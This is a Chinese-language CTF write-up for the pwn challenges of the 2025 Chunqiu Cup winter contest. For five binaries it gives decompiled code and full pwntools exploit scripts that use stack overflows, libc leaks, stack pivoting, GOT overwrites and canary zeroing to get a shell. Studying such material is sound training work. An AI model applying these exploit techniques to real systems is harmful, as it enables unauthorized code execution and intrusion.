2025春秋杯冬季赛pwn方向题解


bypass

main 函数中输入格式不正确的时候会输出 puts 函数地址,泄露 libc 地址,输入长度为 4 内容为 \x00 的时候会进入 compare 函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  ...
  *(_QWORD *)s = &puts;
  ((void (__fastcall *)(__int64 *, char **, char *))init_0)(&v6, a2, buf);
  fd = open(".BYPASS", 0);
  if ( fd >= 0 )
  {
    if ( read(fd, buf, 0x1000uLL) )
    {
      close(fd);
      if ( buf[strlen(buf) - 1] == '\n' )
        buf[strlen(buf) - 1] = 0;
      v8 = strchr(buf, ':');
      if ( v8 )
      {
        if ( (unsigned __int64)(v8 - buf) <= 0x3F )
        {
          if ( strlen(v8 + 1) <= 0x3F )
          {
            *v8 = 0;
            strcpy(dest, buf);
            strcpy(byte_602140, v8 + 1);
            while ( 1 )
            {
              while ( 1 )
              {
                if ( read(0, &v7, 4uLL) != 4 )
                  return 1LL;
                if ( v7 )
                  break;
                compare();
              }
              if ( v7 == 1 )
                break;
              puts("Invalid");
              puts(s);
            }
            return 0LL;
          }
          ...
}

漏洞点在 compare 函数中,两次 read 都是向 buf 读取并且长度都是 0x200,第一次读取会复制到 KEY 中,第二次读取会复制到 VAL 中,而离 rbp 最近的 VAL 距离也超过 0x200,但是从 buf 复制的过程是遇 \x00 停止,所以可以从 buf 一直复制到 KEY,加起来就超过 0x200 了,但是在覆盖到 ret 的过程中还需要注意 rbp-2h 是复制的 index,要合理控制这个 i 让复制过程正确进行

int compare()
{
  ssize_t v0; // rax
  char buf[512]; // [rsp+0h] [rbp-610h] BYREF
  char KEY[512]; // [rsp+200h] [rbp-410h] BYREF
  char VAL[526]; // [rsp+400h] [rbp-210h] BYREF
  __int16 i; // [rsp+60Eh] [rbp-2h]

  memset(VAL, 0, 0x200uLL);
  memset(KEY, 0, sizeof(KEY));
  memset(buf, 0, sizeof(buf));
  v0 = read(0, buf, 0x200uLL);
  if ( v0 >= 0 )
  {
    LODWORD(v0) = strncmp(buf, "KEY: ", 5uLL);
    if ( !(_DWORD)v0 )
    {
      for ( i = 5; buf[i]; ++i )
        KEY[i - 5] = buf[i];
      KEY[i - 5] = 0;
      memset(buf, 0, sizeof(buf));
      v0 = read(0, buf, 0x200uLL);
      if ( v0 >= 0 )
      {
        LODWORD(v0) = strncmp(buf, "VAL: ", 5uLL);
        if ( !(_DWORD)v0 )
        {
          for ( i = 5; buf[i]; ++i )
            VAL[i - 5] = buf[i];
      ...
    }
  }
  return v0;
}

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('39.106.48.123', 44314)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

r.send('abcd')

puts_addr = get_libc()
libc = ELF('./libc/libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']

r.send('\x00\x00\x00\x00')
p = b'KEY: ' + b'c' * 19 + b'\x13\x02' + b'aaaaaaaa' + p64(0x4f302 + libc_base)
p = p.ljust(0x200, b'a')
r.send(p)
r.send(b'VAL: ' + b'b' * (0x200 - 0x5))

r.interactive()

gender_simulation

菜单里就给了 libc 地址,这题直接测试发现在输入 2 2 之后再输入可以直接劫持程序流,有个后门是性别为购物袋,存在栈溢出漏洞,直接溢出写 rop 链执行 system(‘/bin/sh’)

ssize_t gender(void)
{
  __int64 v0; // rax
  _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "If you think you are a shopping bag, please leave your gender certificate");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  return read(0, buf, 0x100uLL);
}

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('47.94.84.92', 30857)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

r.recvuntil(b'0x')
addr = int(r.recv(12), 16)
libc = ELF('./libc6_2.39-0ubuntu8.3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6')
libc_base = addr - libc.sym['setvbuf']

r.sendline('2')
r.sendline('2')

ret = 0x000000000040201a
pop_rdi_ret = 0x000000000010f75b + libc_base
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh\x00').__next__()

r.sendlineafter(b'certificate', p64(0x4025E6))

p = b'a' * 0x18 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
r.sendlineafter(b'certificate', p)

r.interactive()

riya

输入 n 直接跳到 LABEL_10 送 shell

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  ...
  puts("y/n");
  read(0, &v3, 1uLL);
  if ( v3 != 'Y' )
  {
    if ( v3 <= 'Y' )
    {
      ...
LABEL_10:
      setuid(0x3E8u);
      backdoor();
      exit(0);
    }
    if ( v3 == 'n' )
      goto LABEL_10;
    if ( v3 != 'y' )
      goto LABEL_11;
  }
  ...
}

toys

这题只有一个栈溢出,还没什么 gadgets

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  init();
  puts("There are no toys here!");
  printf("Data: ");
  fgets(s, 0x1337, stdin);
  if ( strlen(s) > 0x80 )
  {
    puts("Too many!");
    exit(-1);
  }
  puts("OK!");
  return 0LL;
}

思路:

  • 由于缺少 pop_rdi_ret 等 gadgets,而且程序中的 puts 输出的都是 rodata 段的数据,而 strlen_len 的参数是 rbp - 0x80,所以需要改 strlen_got 为 puts_plt 去泄露在 rbp - 0x80提前布置好的 libc 地址
  • 修改 strlen_got 的方法是利用 fgets 向 rbp - 0x80 的位置写,修改 rbp 为 strlen_got + 0x80 再用 fgets 输入就能覆盖 strlen_got 为 puts_plt
  • 直接把栈迁移到 got 表那块会覆盖到其他有用的地址,所以需要迁移到程序段高地址去写 rop 链,其中一次输入在 strlen_got + 0x80

exp分析:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

main = 0x401274
got_addr = 0x404000
leave_ret = 0x00000000004012cd
puts_plt = elf.plt['puts']
strlen_got = elf.got['strlen']
strlen = 0x40128C

p = b'\x00' * 0x80 + p64(got_addr + 0x800) + p64(main)
r.sendlineafter(b':', p)

p = b'\x00' * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)
r.sendlineafter(b'OK', p)

p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret)
p = p.ljust(0x80, b'\x00') + p64(got_addr + 0x810) + p64(leave_ret)
r.sendlineafter(b'OK', p)

r.sendlineafter(b'OK', p64(puts_plt))

libc_base = get_libc() - 0x88540
libc = ELF('./2.39/libc.so.6')

system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
pop_rdi_ret = libc_base + 0x000000000010f75b

p = b'\x00' * 0x88 + p64(pop_rdi_ret) + p64(binsh) + p64(system)
r.sendlineafter(b'OK', p)

r.interactive()

p = b'\x00' * 0x80 + p64(got_addr + 0x800) + p64(main)

=> rbp = got + 0x800

p = b'\x00' * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)

=> rbp = got + 0x100

got + 0x800 : p64(got_addr + 0x100) 	p64(main)
got + 0x810 : p64(strlen_got + 0x80) 	p64(main)
got + 0x820 : p64(strlen_got + 0x98) 	p64(strlen)
got + 0x830 : p64(strlen_got + 0x700) 	p64(main)

p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret) p = p.ljust(0x80, b'\x00') + p64(got_addr + 0x810) + p64(leave_ret)

=> rbp = got + 0x810

got + 0x80 : p64(0) 	 	 	 	 	p64(got_addr + 0x820) 
got + 0x90 : p64(leave_ret) 	 	 	p64(0)
got + 0xa0 : p64(got_addr + 0x830) 	 	p64(leave_ret)
got + 0x100 : p64(got_addr + 0x810) 	p64(leave_ret)

接下来的程序流:

  • leave_ret 迁移到 got_addr + 0x818,执行 main

    rbp : got + 0x100	=>	got + 0x810	=>	 strlen_got + 0x80

    两次 pop rbp 后 rbp 变成 strlen_got + 0x80

  • 此时 fgets 就是向 rbp - 0x80 即 strlen_got 读,发送 p64(puts_plt) 即可改 strlen_got 为 puts_plt

    rbp : strlen_got + 0x80 = got + 0x88 => got_addr + 0x820 => strlen_got + 0x98 = got + 0xa0
    ret : got + 0x90 => leave_ret
  • leave_ret 迁移到 rbp + 8 = got_addr + 0x828 => strlen,执行 main 中的 strlen,迁移时执行两次 pop rbp 使 rbp 变成 got + 0xa0

    rbp : got + 0xa0 => got_addr + 0x830
    ret : got + 0xa8 => leave_ret

    所以 strlen 的一参是 rbp - 0x80 = got + 0x20 = setvbuf_got,而 strlen_got 已经被改成 puts_plt,相当于执行 puts 输出了 setvbuf_got,最后 ret 是 leave_ret

  • 再次迁移到 rbp + 8 = got_addr + 0x838 = main,最后一次利用栈溢出写 rop 链执行 system(‘/bin/sh’)

rogue_like

本题有三次选择:

第一次选择一个武器,有三个选择,case 1 设置 libc 中任意 64 位地址为 0,case 2 写 libc 中任意地址一个 byte,case 3 泄露 /proc/self/maps 中的地址;

第二次选择一个祝福,case 1 会崩溃,case 2 和 case 3 功能 都是给任意地址加上 5 以内的值;

第三次选择一个挑战,case 1 溢出 0x10,case 2 输出 0x120 后输入 0xf0,无溢出,case 3 两次 read,一次刚好到 rbp,并且存在栈的 off-by-null

但是题目开了 canary,所以需要组合三次选择来绕过 canary 并且执行 rop

思路:第一次选 1,改 tls 中的 canary 为 0,第二次选 2,让 got 表中的 alarm + 5 得到 syscall,第三次选 3,程序中已经有 /bin/sh,再利用第二次 read 控制 rax 执行 syscall 即可

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pop_rdi_ret = 0x00000000004013f4
pop_rsi_ret = 0x00000000004013f6
pop_rdx_ret = 0x00000000004013f8
ret = 0x00000000004007fe
binsh = 0x00000000004019d7
syscall = elf.plt['alarm']

r.sendafter(b'>', b'1')
r.sendafter(b'!', str(0x2568))

r.sendafter(b'>', b'2')
r.sendafter(b'increase.', b'5')
r.sendafter(b'increase.', str(0x602058))

r.send(b'3')
p = b'a' * 0x7 + p64(ret) * 24 + p64(pop_rdi_ret) + p64(binsh) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall) + p64(0) * 2
r.send(p)
p = b'a' * 0x3 + p64(ret) * 7
r.send(p)

r.interactive()

  目录